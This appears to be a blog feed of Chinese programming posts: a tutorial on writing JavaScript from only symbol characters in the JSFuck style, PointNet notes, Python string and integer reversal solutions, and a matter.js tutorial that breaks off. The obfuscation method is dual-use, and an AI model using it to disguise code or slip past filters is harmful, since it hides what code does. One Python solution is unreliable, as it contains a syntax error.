由於我們的轉換器目前只能支援一個位數的數字(因為做起來簡單),我們改成:(''['constructor'] + '')[7+7]
,可以寫成這樣:
mapping['g'] = transform(`return (''['constructor'] + '')[7+7]`)
經歷過千辛萬苦之後,我們終於湊出了最麻煩的 g 這個字元,結合我們剛剛寫好的轉換器,就可以順利產生 console.log(1)
去除掉字母與數字過後的版本:
const mapping = {
a: "(![] + '')[1]",
b: "(''+{})[2]",
c: "(''+{})[5]",
d: "([][{}]+'')[2]",
e: "(![] + '')[4]",
f: "(![] + '')[0]",
i: "([][{}]+'')[5]",
j: "(''+{})[3]",
l: "(![] + '')[2]",
n: "([][{}]+'')[1]",
o: "(''+{})[1]",
r: "(!![] + '')[1]",
s: "(![] + '')[3]",
t: "(!![] + '')[0]",
u: "(!![] + '')[2]",
}
const one = '(+!![])'
const zero = '(+[])'
function transformString(input) {
return input.split('').map(char => {
// 先假設數字只會有個位數,比較好做轉換
if (/[0-9]/.test(char)) {
if (char === '0') return zero
return Array(+char).fill().map(_ => one).join('+')
}
if (/[a-zA-Z]/.test(char)) {
return mapping[char]
}
return `"${char}"`
})
// 加上 () 保證執行順序
.map(char => `(${char})`)
.join('+')
}
function transformNumber(input) {
return input.split('').map(char => {
// 先假設數字只會有個位數,比較好做轉換
if (/[0-9]/.test(char)) {
if (char === '0') return zero
let newChar = Array(+char).fill().map(_ => one).join('+')
return`(${newChar})`
}
return char
})
.join('')
}
function transform(code) {
const con = transformNumber(transformString('constructor'))
const fn = transformNumber(transformString(code))
const result = `(()=>{})[${con}](${fn})()`
return result;
}
mapping['g'] = transform(`return (''['constructor'] + '')[7+7]`)
console.log(transform('console.log(1)'))
最後產生出來的程式碼:
(()=>{})[((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((''+{})[((+!![]))])+(([][{}]+'')[((+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((!![] + '')[((+!![]))])+((!![] + '')[((+!![])+(+!![]))])+((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((''+{})[((+!![]))])+((!![] + '')[((+!![]))])](((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((''+{})[((+!![]))])+(([][{}]+'')[((+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![]))])+((''+{})[((+!![]))])+((![] + '')[((+!![])+(+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![])+(+!![]))])+(".")+((![] + '')[((+!![])+(+!![]))])+((''+{})[((+!![]))])+((()=>{})[((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((''+{})[((+!![]))])+(([][{}]+'')[((+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((!![] + '')[((+!![]))])+((!![] + '')[((+!![])+(+!![]))])+((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((''+{})[((+!![]))])+((!![] + '')[((+!![]))])](((!![] + '')[((+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((!![] + '')[((+!![])+(+!![]))])+((!![] + '')[((+!![]))])+(([][{}]+'')[((+!![]))])+(" ")+("(")+("'")+("'")+("[")+("'")+((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((''+{})[((+!![]))])+(([][{}]+'')[((+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((!![] + '')[((+!![]))])+((!![] + '')[((+!![])+(+!![]))])+((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((''+{})[((+!![]))])+((!![] + '')[((+!![]))])+("'")+("]")+(" ")+("+")+(" ")+("'")+("'")+(")")+("[")+((+!![])+(+!![])+(+!![])+(+!![])+(+!![])+(+!![])+(+!![]))+("+")+((+!![])+(+!![])+(+!![])+(+!![])+(+!![])+(+!![])+(+!![]))+("]"))())+("(")+((+!![]))+((+!![])+(+!![]))+((+!![])+(+!![])+(+!![]))+(")"))()
至此,我們用了 1800 個字元,成功製造出只有:[
, ]
, (
, )
, {
, }
, "
, '
, +
, !
, =
, >
這 12 個字元的程式,並且能夠順利執行 console.log(1)
。
而因為我們已經可以順利拿到 String 這幾個字了,所以就可以用之前提過的進位轉換的方法,得到任意小寫字元,像是這樣:
mapping['S'] = transform(`return (''['constructor'] + '')[9]`)
mapping['g'] = transform(`return (''['constructor'] + '')[7+7]`)
console.log(transform('return (35).toString(36)')) // z
那要怎麼拿到任意大寫字元,或甚至任意字元呢?我也有想到幾種方式。
如果想拿到任意字元,可以透過 String.fromCharCode
,或是寫成另一種形式:""['constructor']['fromCharCode']
,就可以拿到任意字元。可是在這之前要先想辦法拿到大寫的 C,這個就要再想一下怎麼做了。
除了這條路,還有另外一條,那就是靠編碼,例如說 '\u0043'
其實就是大寫的 C 了,所以我原本以為可以透過這種方法來湊,但我試了一下是不行的,像是 console.log("\u0043")
會印出 C 沒錯,但是 console.log(("\u00" + "43"))
就會直接噴一個錯誤給你,看來編碼沒有辦法這樣拼起來(仔細想想發現滿合理的)。
其實我以前有寫過一篇:讓 JavaSript 難以閱讀:jsfuck 與 aaencode,在講的就是同一件事,不過以前我只有稍微整理一下,這次則是自己親自下去試過,感覺更不一樣。
最後寫出來的那個轉換的函式其實並不完整,沒有辦法執行任意程式碼,沒有繼續做完是因為 jsfuck 這個 library 已經寫得很清楚了,在 README 裡面有詳細描述它的轉換過程,而且最後只用了 6 個字元而已,真的很佩服。
在它的程式碼當中也可以看出他的轉換是怎麼做的,大寫 C 的部分是用一個在 String 身上叫做 italics
的函式,可以產生出 <i></i>
,產生出以後再呼叫 escape 去做跳脫,就會得到 %3Ci%3E%3C/i%3E
,就有大寫 C 了。
有些人可能會想說平常程式碼寫得好好的,幹嘛這樣搞自己,但這樣做的重點其實不在於最後的結果,而是在訓練幾個東西,像是:
總之呢,以上是我針對這一題的一些解題心路歷程,有什麼有趣的解法也歡迎留言讓我知道(例如說其他種拿到大寫字母 C 的做法),感謝!
]]>繼上次的 3D Deep Learning 入門(一)- Deep learning on regular structures,今天要來講第二部分 - 如何對 3D point cloud 做 deep learning。
因為 point cloud 很接近 sensor 吐出的 raw data,所以若能直接從 point cloud 中學到有用的資訊,就能達到 End-to-end 的學習(也就是直接拿 raw data 跟 ground truth,直接學習),不需要再額外做其他的轉換(例如上次介紹的 multi-view 方法,你還是得決定要從哪些角度拍、拍幾張、距離要多遠等等)。
今天的第一篇,就要來介紹 PointNet 這篇算是一個 milestone 的論文。他具有代表性的地方主要在於提出一個架構,可以直接從 point cloud 學習,而且這個架構稍加變化就可以做到多種 task - classification 跟 segmentation。
Point cloud data 並沒有一個固定的順序,而且在空間中的密度分佈也很不均勻,所以在處理 point cloud data 跟有 regular structure 的 3D data 很不一樣。對於沒有順序這個特性,等於是你的 function(或說 neural net)要能對抗 N! 的 permutation 變化。
因為 symmetric function 本身的特性就是不在乎 input variable 的順序,所以可以想辦法做出一個逼近 symmetric function 的架構。
於是產生出 PointNet 的基本架構:
這邊的 symmetric function 就是用 max pooling,但如果直接對所有點取 max,可想而知結果不會太好,所以他們前面多套了一層 MLP 來學習。
為了避免 point cloud 的 pose 不同影響辨識結果,所以這邊用了額外的 T-Net 來 align point cloud 到同樣的 pose:
把上面提到的東西組合起來,就可以產生下面的架構啦:
稍微提醒一下,這邊的 classification 是假設輸入的 point cloud 都來自同一物體,所以最後直接取一個 global feature 來產生分類結果。
segmentation 因為會需要切出 point cloud 中間的 parts,所以這邊的做法是把 local features 跟 global features 接起來,再多用一個 function 來計算各 point 的 class。
從結果上看得出來 PointNet 不輸 3D CNN 類型的方法,有些表現甚至還贏。
還有很多實驗結果我就不放了,這邊只放我覺得能夠對直觀理解有幫助的內容。
雖然 max pooling 解決了 N! permutation 問題,但 PointNet 直接從各個 point 學到 global feature,缺點就是少了局部的 feature:
這會造成 PointNet 很難 generalize 到各種 configuration(例如只要 input point cloud 沒有先做 mean normalization,結果就會不太好),於是作者們又提出了 PointNet++。
首先,對於有 N 個點、每個點有 d+C 維的 vector data(d 是座標維度,以下圖來說 d == 2;C 則是其他的 feature 維度,例如 RGB、normal vector 等等),先 sample 一些點,並用 N1 個小球來分群(同一個球裡面的 point cloud 是同一群),開始有點 local group 的感覺:
這時再接上一個 PointNet,就能學習同一個 local group 裡面的 feature:
繼續擴展,就做到了 hierarchical learning:
這時跟 CNN 比較一下就能直觀理解兩者差別:
除了 hierarchical 的地方不同,取到 feature 之後的架構跟 PointNet 很像,我就不贅述了。
而在處理 point cloud density 不均勻的問題上,作者們用的方法(MSG、MRG)基本上就是 multi-scale 的方法,這個方法從 SIFT 以來已經很常見,我就不贅述了。
PointNet 的 hierarchical learning 能夠更完整的表示 point cloud 裡的 feature,所以分類結果比 PointNet 要好:
而在 density-invariant 方面,有使用 MSG 跟 MRG 的方法,對於 point cloud density 下降有更 robust 的表現:
從下圖中也可以看出,比起 PointNet,PointNet++ 的 generalizability 也進步了不少:
今天延續了上次的筆記,介紹了 3D point cloud 的 deep learning 研究,其實演講中還有提到 3D point cloud synthesis 跟 Primitive-based shapes 的相關研究,不過個人比較沒有興趣,我就不寫啦哈哈,有興趣的話可以去看影片。
下一次就是最終回!之後陸續還會分享一些論文的讀後心得或實作,想入門並建立 3D deep learning 知識體系的讀者可以一起來參與(可以到 CoderBridge 寫文章分享你的知識)。
繼上次的 3D Deep Learning 入門(一)- Deep learning on regular structures,今天要來講第二部分 - 如何對 3D point cloud 做 deep learning。
因為 point cloud 很接近 sensor 吐出的 raw data,所以若能直接從 point cloud 中學到有用的資訊,就能達到 End-to-end 的學習(也就是直接拿 raw data 跟 ground truth,直接學習),不需要再額外做其他的轉換(例如上次介紹的 multi-view 方法,你還是得決定要從哪些角度拍、拍幾張、距離要多遠等等)。
今天的第一篇,就要來介紹 PointNet 這篇算是一個 milestone 的論文。他具有代表性的地方主要在於提出一個架構,可以直接從 point cloud 學習,而且這個架構稍加變化就可以做到多種 task - classification 跟 segmentation。
Point cloud data 並沒有一個固定的順序,而且在空間中的密度分佈也很不均勻,所以在處理 point cloud data 跟有 regular structure 的 3D data 很不一樣。對於沒有順序這個特性,等於是你的 function(或說 neural net)要能對抗 N! 的 permutation 變化。
因為 symmetric function 本身的特性就是不在乎 input variable 的順序,所以可以想辦法做出一個逼近 symmetric function 的架構。
於是產生出 PointNet 的基本架構:
這邊的 symmetric function 就是用 max pooling,但如果直接對所有點取 max,可想而知結果不會太好,所以他們前面多套了一層 MLP 來學習。
為了避免 point cloud 的 pose 不同影響辨識結果,所以這邊用了額外的 T-Net 來 align point cloud 到同樣的 pose:
把上面提到的東西組合起來,就可以產生下面的架構啦:
稍微提醒一下,這邊的 classification 是假設輸入的 point cloud 都來自同一物體,所以最後直接取一個 global feature 來產生分類結果。
segmentation 因為會需要切出 point cloud 中間的 parts,所以這邊的做法是把 local features 跟 global features 接起來,再多用一個 function 來計算各 point 的 class。
從結果上看得出來 PointNet 不輸 3D CNN 類型的方法,有些表現甚至還贏。
還有很多實驗結果我就不放了,這邊只放我覺得能夠對直觀理解有幫助的內容。
雖然 max pooling 解決了 N! permutation 問題,但 PointNet 直接從各個 point 學到 global feature,缺點就是少了局部的 feature:
這會造成 PointNet 很難 generalize 到各種 configuration(例如只要 input point cloud 沒有先做 mean normalization,結果就會不太好),於是作者們又提出了 PointNet++。
首先,對於有 N 個點、每個點有 d+C 維的 vector data(d 是座標維度,以下圖來說 d == 2;C 則是其他的 feature 維度,例如 RGB、normal vector 等等),先 sample 一些點,並用 N1 個小球來分群(同一個球裡面的 point cloud 是同一群),開始有點 local group 的感覺:
這時再接上一個 PointNet,就能學習同一個 local group 裡面的 feature:
繼續擴展,就做到了 hierarchical learning:
這時跟 CNN 比較一下就能直觀理解兩者差別:
除了 hierarchical 的地方不同,取到 feature 之後的架構跟 PointNet 很像,我就不贅述了。
而在處理 point cloud density 不均勻的問題上,作者們用的方法(MSG、MRG)基本上就是 multi-scale 的方法,這個方法從 SIFT 以來已經很常見,我就不贅述了。
PointNet 的 hierarchical learning 能夠更完整的表示 point cloud 裡的 feature,所以分類結果比 PointNet 要好:
而在 density-invariant 方面,有使用 MSG 跟 MRG 的方法,對於 point cloud density 下降有更 robust 的表現:
從下圖中也可以看出,比起 PointNet,PointNet++ 的 generalizability 也進步了不少:
今天延續了上次的筆記,介紹了 3D point cloud 的 deep learning 研究,其實演講中還有提到 3D point cloud synthesis 跟 Primitive-based shapes 的相關研究,不過個人比較沒有興趣,我就不寫啦哈哈,有興趣的話可以去看影片。
下一次就是最終回!之後陸續還會分享一些論文的讀後心得或實作,想入門並建立 3D deep learning 知識體系的讀者可以一起來參與(可以到 CoderBridge 寫文章分享你的知識)。
在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文將從簡單的字串處理問題開始進行介紹。
要注意的是在 Python 的字串物件 str
是 immutable
不可變的,字串中的字元是無法單獨更改變換。
舉例來說,以下的第一個指定字元變數行為是不被允許的,但整體字串重新賦值指定另外一個字串物件是可以的:
name = 'Jack'
# 錯誤
name[0] = 'L'
# 正確
name = 'Leo'
執行結果:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'str' object does not support item assignment
Problem: Reverse String
Write a function that reverses a string. The input string is given as an array of characters char[].
Do not allocate extra space for another array, you must do this by modifying the input array in-place with O(1) extra memory.
You may assume all the characters consist of printable ascii characters.
範例:
Example 1:
Input: ["h","e","l","l","o"]
Output: ["o","l","l","e","h"]
Example 2:
Input: ["H","a","n","n","a","h"]
Output: ["h","a","n","n","a","H"]
題目意思為輸入為一個元素為字串的列表 list,將列表中的字串進行反轉後輸出。
Solution
一般思路
由於字串反轉為對稱對應,所以可以取中間軸線進行 for 迴圈迭代進行元素替換。
# 字串長度為 5,中間軸為第三個元素 3
name = 'Marry'
"""
name => ['M', 'a', 'r', 'r', 'y']
reverse_name => ['y', 'r', 'r', 'a', 'M']
字串長度為 5,反轉為對稱對應
name[0] 對應到 reverse_name[5 - 1]
name[1] 對應到 reverse_name[4 - 1]
name[2] 對應到 reverse_name[3 - 1]
name[3] 對應到 reverse_name[2 - 1]
name[4] 對應到 reverse_name[1 - 1]
"""
參考寫法:
class Solution:
def reverseString(self, s: List[str]) -> None:
"""
Do not return anything, modify s in-place instead.
"""
length = len(s)
if length < 2:
return
# length // 2 為取中間軸線整數進行迴圈(注意 index 從 0 開始)
for i in range(length // 2):
# 進行對稱替換
s[i], s[length - i - 1] = s[length - i - 1], s[i]
return
使用 Python 內建函式思路
在 Python 中 list 內建 reverse
函式(官方文件),可以直接進行反轉。
class Solution:
def reverseString(self, s: List[str]) -> None:
"""
Do not return anything, modify s in-place instead.
"""
# 將字串串列反轉後回傳
s.reverse()
return s
Problem Reverse Integer
Given a 32-bit signed integer, reverse digits of an integer.
Note:
Assume we are dealing with an environment that could only store integers within the 32-bit signed integer range: [−231, 231 − 1]. For the purpose of this problem, assume that your function returns 0 when the reversed integer overflows.
Example 1:
Input: x = 123
Output: 321
Example 2:
Input: x = -123
Output: -321
Example 3:
Input: x = 120
Output: 21
Example 4:
Input: x = 0
Output: 0
Constraints:
-231 <= x <= 231 - 1
題目的意思輸入一個 32-bit 帶有符號(有正負號)的整數,回傳反轉過後的整數,注意若反轉結果大小超過限制則回傳 0。
Solution
一般數學思路
由於整數可以透過取除 10 的餘數得出尾數,每次將尾數新增到反轉結果後面後透過整除 10 將尾數去除,最後就會的到反轉整數(若有負值則可以先紀錄後改為正整數最後乘回來)。
例如:
123
=> 123 % 10 餘 3, 123 整除 10 為 12
=> 12 % 10 餘 2, 12 整除 10 為 1
=> 1 % 10 餘 1, 1 整除 10 為 0
此時按照順序把餘數取出並乘上對應的 10 的倍數
3 100 + 2 10 + 1 即為反轉整數
以下我們使用 while 迴圈來達到反轉的計算:
class Solution:
def reverse(self, x: int) -> int:
reverse_num = 0;
# 限制範圍
limit_floor = pow(-2, 31)
limit_ceiling = pow(2, 31)
minus = False
if x < 0:
x = abs(x)
minus = True
while x != 0:
# 取餘數為每一個反轉數
pop = x % 10;
# 每次去除尾數
x //= 10;
# 一一加上去尾數
reverse_num = int(reverse_num * 10 + pop)
# 若結果超過限制回傳 0
if reverse_num > limit_floor and reverse_num < (limit_ceiling - 1):
# 若為負整數需要乘回來
if minus:
return reverse_num * -1
else:
return reverse_num
else:
return 0
使用 Python 內建函式轉換成 list 反轉思路
透過將整數轉成字串物件後使用 list 反轉來轉換反轉整數。
class Solution:
def reverse(self, x: int) -> int:
raw_num = x
# 限制範圍
limit_floor = pow(-2, 31)
limit_ceiling = pow(2, 31)
# 將整數轉為字串串列使用 reverse 函式進行反轉
num_list = [str(num) for num in str(abs(raw_num))]
num_list.reverse()
reverse_num = int(''.join(num_list))
# 若結果超過限制回傳 0
if reverse_num > limit_floor and reverse_num < (limit_ceiling - 1):
if x < 0:
reverse_num = reverse_num * -1
return reverse_num
else:
return return reverse_num
else:
return 0
本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。以上介紹了幾個簡單字串操作的問題當作開頭,需要注意的是 Python 本身內建的操作方式和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
]]>在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文將從簡單的字串處理問題開始進行介紹。
要注意的是在 Python 的字串物件 str
是 immutable
不可變的,字串中的字元是無法單獨更改變換。
舉例來說,以下的第一個指定字元變數行為是不被允許的,但整體字串重新賦值指定另外一個字串物件是可以的:
name = 'Jack'
# 錯誤
name[0] = 'L'
# 正確
name = 'Leo'
執行結果:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'str' object does not support item assignment
Problem: Reverse String
Write a function that reverses a string. The input string is given as an array of characters char[].
Do not allocate extra space for another array, you must do this by modifying the input array in-place with O(1) extra memory.
You may assume all the characters consist of printable ascii characters.
範例:
Example 1:
Input: ["h","e","l","l","o"]
Output: ["o","l","l","e","h"]
Example 2:
Input: ["H","a","n","n","a","h"]
Output: ["h","a","n","n","a","H"]
題目意思為輸入為一個元素為字串的列表 list,將列表中的字串進行反轉後輸出。
Solution
一般思路
由於字串反轉為對稱對應,所以可以取中間軸線進行 for 迴圈迭代進行元素替換。
# 字串長度為 5,中間軸為第三個元素 3
name = 'Marry'
"""
name => ['M', 'a', 'r', 'r', 'y']
reverse_name => ['y', 'r', 'r', 'a', 'M']
字串長度為 5,反轉為對稱對應
name[0] 對應到 reverse_name[5 - 1]
name[1] 對應到 reverse_name[4 - 1]
name[2] 對應到 reverse_name[3 - 1]
name[3] 對應到 reverse_name[2 - 1]
name[4] 對應到 reverse_name[1 - 1]
"""
參考寫法:
class Solution:
def reverseString(self, s: List[str]) -> None:
"""
Do not return anything, modify s in-place instead.
"""
length = len(s)
if length < 2:
return
# length // 2 為取中間軸線整數進行迴圈(注意 index 從 0 開始)
for i in range(length // 2):
# 進行對稱替換
s[i], s[length - i - 1] = s[length - i - 1], s[i]
return
使用 Python 內建函式思路
在 Python 中 list 內建 reverse
函式(官方文件),可以直接進行反轉。
class Solution:
def reverseString(self, s: List[str]) -> None:
"""
Do not return anything, modify s in-place instead.
"""
# 將字串串列反轉後回傳
s.reverse()
return s
Problem Reverse Integer
Given a 32-bit signed integer, reverse digits of an integer.
Note:
Assume we are dealing with an environment that could only store integers within the 32-bit signed integer range: [−231, 231 − 1]. For the purpose of this problem, assume that your function returns 0 when the reversed integer overflows.
Example 1:
Input: x = 123
Output: 321
Example 2:
Input: x = -123
Output: -321
Example 3:
Input: x = 120
Output: 21
Example 4:
Input: x = 0
Output: 0
Constraints:
-231 <= x <= 231 - 1
題目的意思輸入一個 32-bit 帶有符號(有正負號)的整數,回傳反轉過後的整數,注意若反轉結果大小超過限制則回傳 0。
Solution
一般數學思路
由於整數可以透過取除 10 的餘數得出尾數,每次將尾數新增到反轉結果後面後透過整除 10 將尾數去除,最後就會的到反轉整數(若有負值則可以先紀錄後改為正整數最後乘回來)。
例如:
123
=> 123 % 10 餘 3, 123 整除 10 為 12
=> 12 % 10 餘 2, 12 整除 10 為 1
=> 1 % 10 餘 1, 1 整除 10 為 0
此時按照順序把餘數取出並乘上對應的 10 的倍數
3 100 + 2 10 + 1 即為反轉整數
以下我們使用 while 迴圈來達到反轉的計算:
class Solution:
def reverse(self, x: int) -> int:
reverse_num = 0;
# 限制範圍
limit_floor = pow(-2, 31)
limit_ceiling = pow(2, 31)
minus = False
if x < 0:
x = abs(x)
minus = True
while x != 0:
# 取餘數為每一個反轉數
pop = x % 10;
# 每次去除尾數
x //= 10;
# 一一加上去尾數
reverse_num = int(reverse_num * 10 + pop)
# 若結果超過限制回傳 0
if reverse_num > limit_floor and reverse_num < (limit_ceiling - 1):
# 若為負整數需要乘回來
if minus:
return reverse_num * -1
else:
return reverse_num
else:
return 0
使用 Python 內建函式轉換成 list 反轉思路
透過將整數轉成字串物件後使用 list 反轉來轉換反轉整數。
class Solution:
def reverse(self, x: int) -> int:
raw_num = x
# 限制範圍
limit_floor = pow(-2, 31)
limit_ceiling = pow(2, 31)
# 將整數轉為字串串列使用 reverse 函式進行反轉
num_list = [str(num) for num in str(abs(raw_num))]
num_list.reverse()
reverse_num = int(''.join(num_list))
# 若結果超過限制回傳 0
if reverse_num > limit_floor and reverse_num < (limit_ceiling - 1):
if x < 0:
reverse_num = reverse_num * -1
return reverse_num
else:
return return reverse_num
else:
return 0
本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。以上介紹了幾個簡單字串操作的問題當作開頭,需要注意的是 Python 本身內建的操作方式和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
]]>大約是在前陣子 GitHub 的 profile readme 很夯的時候,我在網路上看到了 matter.js 這個套件的作品,腦袋中就萌生一個點子想試試看,但因為真的沒有實際用處,也不確定效果好不好,就被我一直擱置,直到這個週末的空閒時間才決定要來實現它。
整體想法是這樣的,我想從上掉落一個利用 GitHub contribution graph 拼湊出的名字,然後掉落至畫面中間後,除了名字以外的方塊就會因為撞擊而噴散,最後只留下名字。
這邊用我老婆☺️ 的名字作為範例先給大家看看成果:
而放到 GitHub 頁面的效果如下:
效果跟我想像的還是有點差異,不過也有八成像了,今天就利用我製作的小玩具來介紹一下 matter.js 的基本使用方式。
matter.js 是一套由 JavaScript 撰寫的物理引擎,讓你能透過 JS 在瀏覽器上模擬物理反應,可以輕易調整物體重量、質量、速度,甚至是密度、摩擦力等等變量,非常適合用在需要呈現物理效果的 2D 遊戲中。
其提供的 API 也設計得簡單好用,只是雖然每個 API 都有文件,但內容都不太實用,如果你需要調整細節的話,要馬就自己慢慢更動嘗試,不然就得查看其原始碼會比較清楚。
而至於支援度部分也無須擔心,瀏覽器支援 IE8+,手機的觸控 Event 也不成問題。我覺得是另一個如同 GSAP 一樣值得花點時間學習把玩的前端工具。
在進入我們的範例製作解析前,我想先條列介紹 matter.js 中的常用套件,除了先了解整體的 Context 外,也能當作之後說明實作內容時的 reference。
matter.js 的 API 定義的很易懂,既然是做物理模擬,當然就要有 World
、Body
與 Constraint
,而這些也是你使用 matter.js 所需要的基礎元件。
World: matter.js 透過此模組來創建一個模擬世界,可以微調世界中的一些屬性,像是重力、邊界等等,而一個世界當然是由多個 Bodies 所組成。
Bodies: Bodies 模組提供你方法去生成一些物體,像是圓形物體、方形物體等等,你也可以傳入 svg、img 去客製化物體形狀與樣式。產生的物體放入 World 中後就可以被 render 在畫面上。
Body: 利用 Bodies 產生的物件可以利用 Body 模組來進行進一步的操控。透過 Body,你可以旋轉、縮放、位移你的物體,也可以更改物體本身的密度、速度等等。換句話說,Body 讓你調整物體的物理特性。
Engine: 引擎,顧名思義就是驅動整個模擬物理世界的動力,根據 Body 的物理性質來精準掌控 World
內 Body
彼此間的物理現象,確保能模擬出符合設定的反應。是 matter.js 的核心。主要的程式碼意外的沒有很長,可以大略看出 Engine 會負責控制 Bodies 之間的狀態更新。
Render: matter.js 有提供一個 Canvas based 的 Renderer,讓你能將 Engine 所催動的結果繪製出來,這個內建的 Render 模組主要是讓你用在開發與除錯上的,但對於簡單的動畫或遊戲,還是可以使用。另外要注意的是,該模組預設只會繪製出 wirefram 與向量,你要主動將 render.options.wireframes
設為 false,否則,以今天的模組為例(我們今天的範例也是用此模組開發。),他會變成這樣:
不過照這樣看來,依照官方的意思,如果你要使用 matter.js 來製作遊戲等等,基本上應該要自己實作 Render,你才能更好的控制畫面的變化。官方有提供一些 Renderer 的範例,也可以從其原始碼參考。
Composites: 這個模組有點像是 Bodies 模組,差別在於 Bodies 模組讓你創建出 ”一個“ 物體,而 Composites 提供方法讓你創建出多個物體所組合而成的物體,像是 Stack、Pyramid 或甚至是 Car, Chain 等等常用的內建組合。
Composite: 如同 Body 對應於 Bodies,Composite 就是對應於 Composites 的模組,讓你控制由 Composites 創建出的組合物體的物理特性。
Constraint: Constraint 模組讓你能為兩個物體之間增加物理限制,像是兩物體一定要間隔一定距離等等。這個模組在我們這次的範例中我沒有用到,不過官網有不少範例都有使用,像是 Newton's Cradle。
MouseConstraint: 如同 Constraint,這個模組讓你增加滑鼠與物體之間的”約束”,透過建立物體與滑鼠的限制,就可以讓使用者透過滑鼠與你創建的物體互動。前面的範例中沒用到,但後面我會稍微帶到如何使用。
const Engine = Matter.Engine;
const Render = Matter.Render;
const Composites = Matter.Composites;
const World = Matter.World;
const Bodies = Matter.Bodies;
const Body = Matter.Body;
起手式就是先將先前介紹過的模組都宣告出來。
// create engine
const engine = Engine.create();
const world = engine.world;
// create renderer
const render = Render.create({
element: document.body,
engine: engine,
options: {
width: 920,
height: 600,
}
});
接著創建 instance,利用 Engine.create()
創造 Engine 實例,而 engine.world
最後會需要傳給 World
模組,可以想像成是此引擎(Engine) 所驅動的世界(world)。
Render
的部分我們要指定使用的 engine、要渲染的 root element,以及寬高等基本選項。更細部的 properties 可以參考官網文件,以我們的範例來說,只需要這樣就夠了。
到目前為止,我們設定好了 Engine
與 Render
的實例,代表我們已經準備好了一個虛擬的世界,然而光是準備好還不夠,我們需要“啟動”它。
所謂的啟動,其實就是要不斷地去呼叫 Engine.update()?
來觸發引擎計算,或是讓 Renderer 更新畫面,執行類似下面的動作:
(function run() {
window.requestAnimationFrame(run);
Engine.update(engine, 1000 / 60);
})();
而實際上 matter.js 內有另一個模組 Matter.Runner
,可以來幫忙運行引擎與觸發 Render,在 Engine
與 Render
物件內都有個叫 run
的 helper 函式,就是用到此內建 Runner 模組,只要將實例放入,matter.js 的 Runner
就會幫忙執行 Runner 該做的事:
Engine.run(engine);
Render.run(render);
不過,與前面提到的 Matter.Render
類似,依照官網說法,內建的 Matter.Runner
主要也是開發與除錯用途,只適合用在簡單的小應用上。
Engine 與 Render 都啟動了,虛擬世界已上線,再來就只要往裡面丟入物體就好了。
分析一下我的點子:從上掉落一個利用 GitHub contribution graph 拼湊出的名字,然後掉落至畫面中間後,除了名字以外的方塊就會因為撞擊而噴散,最後只留下名字。
大致需要幾個條件:
從 matter.js 的官網中可以找到許多範例,從那些範例內,可以大致摸索出自己需要哪些模組才能拼湊出這樣的效果。
首先,可以利用 Composites.stack
ref 來製造出堆疊好的 contribution graph:
API: Matter.Composites.stack(xx, yy, columns, rows, columnGap, rowGap, callback)
const stack = Composites.stack(125, 15, 45, 7, 0, 0, function(x, y) {
// ...略
const block = Bodies.rectangle(x, y, 15, 15, {
render: {
fillStyle: color[~~(Math.random() * 2)], // 隨機給定格子顏色
strokeStyle: '#fff',
},
frictionAir: 0.03,
});
// ...略
return block;
});
Composites.stack
前面六個參數可以定義一個 grid 空間,範例中我們在相對於 Render
設定範圍的 x 軸 125px 與 y 軸 15px 的位置開始放置 stack,並定義該 grid 是 45 x 7 的格子(GitHub 上每行七天,大約 45 週),每個方塊大小 15px x 15px,格子與格子之間我們不需要空格,因此 columnGap 與 rowGap 都填 0。
而最後的 callback 函數中,可以組合多個 body 來擺放在其 grid 空間中。舉例來說,我們想要繪製出 contribution graph 的話,就是在 callback 函式中,利用 Bodies.rectangle
來產生一個個的小方塊,在這個 callback 中可以做很多事情,包含定義方塊的顏色、狀態等等。
到這邊可以繪製出一個還不錯的 contribution graph:
要客製化 contribution graph 好像很不少方式,像是這個,但我沒想那麼多 LOL 畢竟一開始只是想實驗看看,所以就用最土炮的方式,用 pixilart 手動在 45x7 的格子上用 pixel art 的方式寫出名字,然後再慢慢把格子數出來,建立一個雙層陣列來存:
const nameBlock = [
[7, 8, 9, 10, 'A', 13, 14, 15, 16, 17, 'R', 20, 26, 'V', 28, 29, 30, 31, 32, 'I', 34, 35, 39, 'N'],
[6, 11, 'A', 13, 18, 'R', 20, 26, 'V', 30, 'I', 34, 35, 36, 39, 'N'],
[6, 11, 'A', 13, 17, 18, 'R', 20, 26, 'V', 30, 'I', 34, 36, 37, 39, 'N'],
